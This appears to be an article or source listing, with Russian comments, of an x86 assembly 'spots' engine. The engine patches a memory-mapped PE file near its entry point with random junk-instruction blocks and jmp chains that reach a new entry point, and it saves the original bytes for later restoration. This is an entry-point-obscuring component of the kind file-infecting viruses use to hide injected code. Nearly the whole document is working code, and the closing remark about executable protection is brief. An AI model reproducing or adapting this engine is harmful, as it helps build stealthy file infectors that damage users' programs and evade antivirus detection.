;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
spots:
; Подпрограмма
генерации
; пятен
mov ecx,1 ; Кладём в ecx
единицу
;
call reset ; Подготавливаем
данные
call num_spots ; Генерируем
случайное число
; это будет кол-во пятен
tred:
call save_bytes ; Сохраняем
затираемы байты
call gen_spot ; Генерируем
пятно
inc ecx ; Увеличиваем ecx на
единицу
cmp ecx,[ebp+n_spots] ; Все пятна
сгенерированы
jne tred ; Если нет, то
генерируем
call save_bytes ; Сохраняем
последние байты
call gen_final_spot ; И
генерируем последнее
; пятно
ret ; Возврат из
процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot:
; Подпрограмма
генерации
; одного пятна
push eax ecx ; Сохраняем eax и
ecx
call len_sp_jmp ; Получаем
случайную длину
xchg eax,ebx ; прыжка пятна
call testing ; Проверяем,
чтобы пятно
jc quit2 ; не выходило за
кодовую
; секцию
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num1] ; Генерируем
первую партию
call garbage ; мусора
pop ebx
mov al,0e9h ;
stosb ;
mov eax,0 ; Генерируем jmp
add eax,ebx ;
add eax,ecx ;
stosd ;
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num2] ; Генерируем
вторую партию
call garbage ; мусора
pop ebx
sub edi,[ebp+num2] ;
add edi,[ebp+num1] ;
Корректируем edi
add edi,ebx ;
quit2:
pop ecx eax ; Восстанавливаем
ecx и eax
ret ; Возврат из
подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot:
; Подпрограмма
генерации
; финального пятна
push eax ecx ; Сохраняем eax и
ecx
jc not_big ; Если длина не
превышает
inc [ebp+n_spots] ; размера
кодовой секции, то
not_big: ; Увеличим кол-во
пятен
mov ecx,[ebp+num1] ; Генерируем
мусорные
call garbage ; инструкции
push edi ; Сохраняем edi
sub edi,[ebp+start_code] ; Подготавливаем
длину jmp'a
mov ebx,edi ; для последнего
пятна
pop edi ; Восстанавливаем
edi
mov al,0e9h ;
stosb ;
mov eax,0 ;
sub eax,5 ; Генерируем
финальное
sub eax,ebx ; пятно
add eax,[ebp+new_eip] ;
sub eax,[ebp+old_eip] ;
stosd ;
mov ecx,[ebp+num2] ; Генерируем
вторую партию
call garbage ; мусорных
инструкций
pop ecx eax ; Восстанавливаем
ecx и eax
ret ; Возврат из
подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; ADDRESS OF SAVING BYTES -> EDI ;
; QUANTITY OF BYTES -> EBX ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
; Подпрограмма
сохранения
; заменяемых байт
pusha ; Сохраняем всё в
стэке
call length1 ; Генерируем
длины мусорных
; инструкций
mov ebx,[ebp+num1] ; Помещаем в
ebx первую
add ebx,[ebp+num2] ; и вторую
длины
add ebx,5 ; Добавляем к ebx - 5
mov esi,edi ; Сохраняем в
буфере с
mov edi,[ebp+pointer] ; начала
смещение в памяти
mov eax,esi ; на сохраняемые
байты
stosd ;
mov ecx,ebx ; После этого
сохраняем в
mov eax,ecx ; буфере кол-во
сохраняемых
stosd ; байт
rep movsb ; И в самом конце
сохраняем
mov [ebp+pointer],edi ; в буфере
сами байты
;
popa ; Вынимаем всё из
стека
ret ; Возврат из
подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
; Подпрограмма
; восстановления
сохранённых
; байт
cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ; В esi
указазатель на буфер
mov edx,1 ; В edx кладём - 1
not_enough:
mov edi,[ebp+old_eip] ; В edi
загружаем точку
add edi,[ebp+image_base] ; входа
mov ebx,edi ; Сохраняем edi в
ebx
lodsd ; В eax старое
смещение
; байт в памяти
sub eax,[ebp+start_code] ; Отнимаем
смещение начала
; кода и добавляем
add edi,eax ; точку входа
lodsd ; Загружаем в eax кол-во
mov ecx,eax ; байт
и кладём их в ecx
rep movsb ; Перемещаем
оригинальные
; байты на старое место
inc edx ; Переходим к
следующему
cmp edx,[ebp+n_spots] ; пятну
jl not_enough ; если не все
пятна вернули,
; то восстанавливаем
дальше
quit: ;
ret ; Возврат из
процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
; Подпрограмма
генерации
; длин мусорных
инструкций
mov eax,20 ;
call brandom32 ; Генерируем
случайное число
test eax,eax ; в диапазоне 1..19
jz length1 ;
mov [ebp+num1],eax ; Сохраняем
его в переменную
rand2:
mov eax,20 ;
call brandom32 ; Генерируем
случайное число
test eax,eax ; в диапазоне 1..19
jz rand2 ;
mov [ebp+num2],eax ; Сохраняем
его в вторую
; переменную
ret ; Возврат из
процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
; Подпрограмма
инициализации
; переменных
mov edi,[ebp+start_code] ;
;
push esi ; Инициализируем
переменные
lea esi,[ebp+rest_bytes] ;
mov [ebp+pointer],esi ;
pop esi ;
ret ; Возврат из
процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
; Подпрограмма
генерации
; длины прыжка
mov eax,150 ;
call brandom32 ; Генерируем
случайное число
cmp eax,45 ; в диапазоне 45..149
jle len_sp_jmp ;
ret ; Возврат из
процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
; Подпрограмма
генерации
; количества пятен
pusha ; Сохраняем всё в
стеке
mov eax,40 ; Генерируем
случайное число
call brandom32 ; в диапазоне
1..40
inc eax ; И сохраняем его в
mov [ebp+n_spots],eax ; переменной
popa ; Вынимаем всё из
стэка
ret ; Возврат из
процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ;
;--------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;--------------------------;
; [ OUT ] ;
; ;
; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
; Подпрограмма
проверки
; попадания в границу
секции
push edi eax ; Сохраняем edi eax
в стэке
add edi,[ebp+num1] ; Добавим к edi
1-ую длину
; мусорных инструкций
add edi,[ebp+num2] ; После этого
добавим 2-ую
add edi,300 ; И добавим число
в которое
; входит максимальный
размер
; пятна + длина его
прыжка
mov eax,[ebp+size_for_spot] ; В eax
загрузим размер
; места для пятен и
смещение
add eax,[ebp+start_code] ; в памяти
точки входа
cmp edi,eax ; Сравним eax и edi
clc ; Сбросим carry флаг
jl m_space ; Если edi меньше,
то все
; хорошо
mov [ebp+n_spots],ecx ; Если нет,
то мы уменьшаем
inc [ebp+n_spots] ; количество
пятен и
stc ; устанавливаем carry
флаг
m_space:
pop eax edi ; Вынимаем eax и edi
ret ; Возврат из
процедуры
;--------------------------;
pointer dd 0 ;
n_spots dd 0 ;
;
num1 dd 0 ;
num2 dd 0 ;
; Данные необходимые
для
PE_header dd 0 ; работы мотора
old_eip dd 0 ;
image_base dd 0 ;
start_code dd 0 ;
new_eip dd 0 ;
map_address dd 0 ;
size_for_spot dd 0 ;
rest_bytes: db 2100 dup (?) ;
;--------------------------;
В качестве параметра данному мотору
передаётся адрес файла в памяти (MapViewOfFile).
Для восстановления оригинальных байт
используется подпрограмма restore. Данная
подпрограмма в качестве результата
возвращает адрес начала программы в
регистре ebx.
Рассмотрим примерную схему работы мотора:
Для чего может использоваться данный
модуль? Данный модуль можно с большой
эффективностью использовать при
моделировании навесных защит исполнимого
кода, помимо его прямого назначения.